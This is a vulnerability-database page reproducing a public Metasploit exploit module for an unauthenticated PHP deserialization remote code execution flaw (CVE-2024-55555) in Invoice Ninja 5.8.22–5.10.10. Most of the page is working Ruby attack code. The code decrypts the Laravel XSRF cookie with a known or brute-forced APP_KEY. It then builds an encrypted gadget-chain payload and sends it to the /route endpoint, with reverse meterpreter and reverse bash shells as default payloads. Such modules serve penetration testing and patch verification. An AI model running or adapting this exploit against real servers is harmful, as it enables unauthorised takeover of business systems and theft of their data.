Lucene search
K

Invoice Ninja 5.10.10 Insecure Deserialization / Remote Code Execution

🗓️ 25 Feb 2025 00:00:00Reported by h00die-gr3y, Rémi Matasse, Mickaël BenassouliType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 481 Views

Invoice Ninja versions 5.8.22-5.10.10 allow unauthenticated remote code execution via deserialization.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Invoice Ninja 5.10.10 Insecure Deserialization / Remote Code Execution Exploit
25 Feb 202500:00
zdt
GithubExploit
Exploit for CVE-2024-55555
31 Jul 202523:46
githubexploit
Circl
CVE-2024-55555
7 Jan 202516:43
circl
CNNVD
Invoice Ninja 代码问题漏洞
7 Jan 202500:00
cnnvd
CVE
CVE-2024-55555
7 Jan 202500:00
cve
Cvelist
CVE-2024-55555
7 Jan 202500:00
cvelist
Metasploit
Invoice Ninja unauthenticated PHP Deserialization Vulnerability
25 Feb 202518:53
metasploit
NVD
CVE-2024-55555
7 Jan 202517:15
nvd
Packet Storm
📄 Invoice Ninja 5.8.22 PHP Code Injection
17 Dec 202500:00
packetstorm
Positive Technologies
PT-2024-36551 · Unknown · Invoice Ninja
13 Dec 202400:00
ptsecurity
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::LaravelCryptoKiller
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Invoice Ninja unauthenticated PHP Deserialization Vulnerability',
            'Description' => %q{
              Invoice Ninja is a free invoicing software for small businesses, based on the PHP framework Laravel.
              A Remote Code Execution vulnerability in Invoice Ninja (>= 5.8.22 <= 5.10.10) allows remote unauthenticated
              attackers to conduct PHP deserialization attacks via endpoint `/route/<hash>` which accepts a Laravel
              ciphered value which is unsafe unserialized, if an attacker has access to the APP_KEY.
              As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,
              potentially resulting in complete system compromise, data exfiltration, or unauthorized access
              to sensitive information.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
              'Rémi Matasse', # SynActiv Research Team - discovery of the vulnerability
              'Mickaël Benassouli' # SynActiv Research Team - discovery of the vulnerability
            ],
            'References' => [
              ['CVE', '2024-55555'],
              ['URL', 'https://attackerkb.com/topics/xxxxx/cve-2024-55555'],
              ['URL', 'https://www.synacktiv.com/advisories/invoiceninja-unauthenticated-remote-command-execution-when-appkey-known']
            ],
            'DisclosureDate' => '2024-12-13',
            'Platform' => ['php', 'unix', 'linux'],
            'Arch' => [ARCH_PHP, ARCH_CMD],
            'Privileged' => false,
            'Targets' => [
              [
                'PHP',
                {
                  'Platform' => ['php'],
                  'Arch' => ARCH_PHP,
                  'Type' => :php,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'php/meterpreter/reverse_tcp'
                  }
                }
              ],
              [
                'Unix/Linux Command',
                {
                  'Platform' => ['unix', 'linux'],
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/unix/reverse_bash'
                  }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'SSL' => true,
              'RPORT' => 443
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [ true, 'The invoiceninja endpoint URL.', '/' ]),
          OptString.new('APP_KEY', [ true, 'Laravel APP_KEY.', 'base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno=']),
          OptPath.new('BRUTEFORCE', [false, 'File with a list of APP_KEYs, one per line for a bruteforce attack.', nil])
        ])
      end
    
      def execute_command(cmd, _opts = {})
        send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'route', cmd.to_s),
          'ctype' => 'application/x-www-form-urlencoded'
        })
      end
    
      def check
        print_status("Checking if #{peer} can be exploited.")
        res = send_request_cgi!({
          'method' => 'GET',
          'ctype' => 'application/x-www-form-urlencoded',
          'uri' => normalize_uri(target_uri.path, 'login')
        })
        return CheckCode::Unknown('No valid response received from target.') unless res&.code == 200
    
        # check if target is running the Invoice Ninja platform
        # search for the Invoice Ninja X-APP-VERSION within the returned headers from the login page
        version_number = res.headers['X-APP-VERSION']
        return CheckCode::Safe('No Invoice Ninja platform found.') if version_number.nil?
    
        if Rex::Version.new(version_number).between?(Rex::Version.new('5.8.22'), Rex::Version.new('5.10.10'))
          return CheckCode::Appears("Invoice Ninja #{version_number}")
        end
    
        checkCode::Safe("Invoice Ninja #{version_number}")
      end
    
      def exploit
        # lets first check if decryption is successful with the APP_KEY by decrypting the XSRF_TOKEN inside the cookie.
        # option APP_KEY is either a single entry of a file with APP_KEYS using the [file:] identifier
        cipher_mode = 'AES-256-CBC'
        res = send_request_cgi!({
          'method' => 'GET',
          'ctype' => 'application/x-www-form-urlencoded',
          'uri' => normalize_uri(target_uri.path, 'login')
        })
        fail_with(Failure::Unknown, 'No valid response received from target.') unless res&.code == 200
    
        print_status('Lets check if the APP_KEY(s) is/are valid by decrypting the XSRF_TOKEN inside the cookie.')
        print_status('Grabbing the cookie with the XSRF-TOKEN.')
        set_cookie = res.get_cookies
        fail_with(Failure::NotFound, 'No cookie found.') if set_cookie.nil?
        xsrf_token = set_cookie.match(/XSRF-TOKEN=([^;]+)/)
        fail_with(Failure::NotFound, 'No XSRF-TOKEN found. Unable to check APP_KEY.') if xsrf_token.nil?
    
        if datastore['BRUTEFORCE']
          key_file = datastore['BRUTEFORCE']
          print_status("Starting bruteforce decryption with APP_KEYS listed in #{key_file}.")
          result = laravel_bruteforce_from_file(xsrf_token[1], key_file, cipher_mode)
          fail_with(Failure::NotFound, "Bruteforce decryption failed. No valid APP_KEY found in file #{key_file}.") if result.nil?
          valid_app_key = result['key']
          unciphered_value = result['value']
        else
          result = laravel_decrypt(xsrf_token[1], datastore['APP_KEY'], cipher_mode)
          fail_with(Failure::BadConfig, "Decryption with APP_KEY: #{datastore['APP_KEY']} failed.") if result.nil?
          valid_app_key = datastore['APP_KEY']
          unciphered_value = result
        end
        print_good("APP_KEY is valid: #{valid_app_key}")
        print_good("Unciphered value: #{unciphered_value}")
    
        print_status('Generate an encrypted serialization payload with our cracked APP_KEY.')
        pl = payload.encoded
        pl = "php -r \"#{payload.encoded.gsub('"', '\"').gsub('$', '\$')}\"" if target['Type'] == :php
        pl_len = pl.length
        laravel_payload = %(a:2:{i:7;O:40:"Illuminate\\Broadcasting\\PendingBroadcast":1:{s:9:"\x00*\x00events";O:35:"Illuminate\\Database\\DatabaseManager":2:{s:6:"\x00*\x00app";a:1:{s:6:"config";a:2:{s:16:"database.default";s:6:"system";s:20:"database.connections";a:1:{s:6:"system";a:1:{i:0;s:#{pl_len}:"#{pl}";}}}}s:13:"\x00*\x00extensions";a:1:{s:6:"system";s:12:"array_filter";}}}i:7;i:7;})
        b64_laravel_payload = Base64.strict_encode64(laravel_payload)
        laravel_cipher = laravel_encrypt(b64_laravel_payload, valid_app_key, cipher_mode)
        fail_with(Failure::BadConfig, 'Laravel encryption failed.') if laravel_cipher.nil?
    
        print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
        execute_command(laravel_cipher)
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Feb 2025 00:00Current
8.1High risk
Vulners AI Score8.1
CVSS 3.18.8
EPSS0.065
SSVC
481